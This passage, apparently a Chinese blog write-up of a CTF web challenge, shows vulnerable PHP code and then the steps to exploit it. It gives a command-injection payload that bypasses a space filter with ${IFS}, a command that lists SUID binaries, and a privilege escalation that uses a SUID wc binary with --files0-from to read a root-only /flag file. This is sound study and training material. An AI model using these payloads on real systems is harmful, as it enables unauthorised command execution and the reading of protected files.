    public function handle($action, $input) {
        if (!in_array($action, $this->config->get('allowed_actions'))) {
            return "Invalid action";
        }

        if ($action === 'run') {
            $validator = new InputValidator($this->config->get('max_input_length'));
            $validationResult = $validator->validate($input);
            if ($validationResult !== true) {
                return $validationResult;
            }

            return $this->executor->execute($input);
        } elseif ($action === 'debug') {
            return "Debug mode enabled";
        } elseif ($action === 'generate') {
            return "Random string: " . StringUtils::generateRandomString(15);
        }

        return "Unknown action";
    }
}

if (isset($_REQUEST['action'])) {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));

    $actionHandler = new ActionHandler($config, $logger);
    $input = $_REQUEST['input'] ?? '';
    echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));
    $userManager = new UserManager($logger);

    if (isset($_POST['register'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->addUser($username, $password);
    }

    if (isset($_POST['login'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->authenticate($username, $password);
    }

    $logger->log("No action provided, running default logic");
}

代码看着很复杂, 但很多也不用去看

直接构造这样的payload就可以执行命令了

过滤了空格, 可以用${IFS}绕过

复制代码
?action=run&input=ls${IFS}-l${IFS}/

但是无法拿到flag, 看一下权限发现完全没有任何权限

尝试suid提权

复制代码
find${IFS}/${IFS}-user${IFS}root${IFS}-perm${IFS}-4000${IFS}-print

或者输出到tmp目录下去
find${IFS}/${IFS}-user${IFS}root${IFS}-perm${IFS}-4000${IFS}-print${IFS}>/tmp/1.txt

好像也没啥可以利用的, 不过看着这个 /var/www/html/wc感觉有点奇怪, 也不知道有什么用

复制代码
/var/www/html/wc
/bin/umount
/bin/mount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh

尝试执行一下, 应该输出了/flag行数 单词数 字符数, 但没法显示出flag啊 , 不知道要怎么利用
看了wp后发现, 这个wc 的用法
https://gtfobins.github.io/

使用/var/www/html/wc --files0-from "/flag" 即可读到flag

相关推荐
一方~2 小时前
XML语言
xml·java·web
互联网搬砖老肖3 小时前
Web 架构之数据读写分离
前端·架构·web
小芝麻咿呀15 小时前
websocketd 10秒教程
websocket·web
忧虑的乌龟蛋4 天前
Qt实现网页内嵌
qt·web·msvc·网页·网页内嵌·qt界面·webenginewidget
越来越无动于衷10 天前
java web 过滤器
java·开发语言·servlet·web
90后小陈老师10 天前
WebXR教学 06 项目4 跳跃小游戏
3d·web·js
nuc-12711 天前
[ACTF2020 新生赛]BackupFile题解
web·ctf
ZZZKKKRTSAE12 天前
快速上手Linux的Web服务器的部署及优化
linux·运维·服务器·web
GeekABC12 天前
FastAPI系列06:FastAPI响应(Response)
开发语言·python·fastapi·web
一只程序烽.12 天前
err: Error: Request failed with status code 400
java·axios·web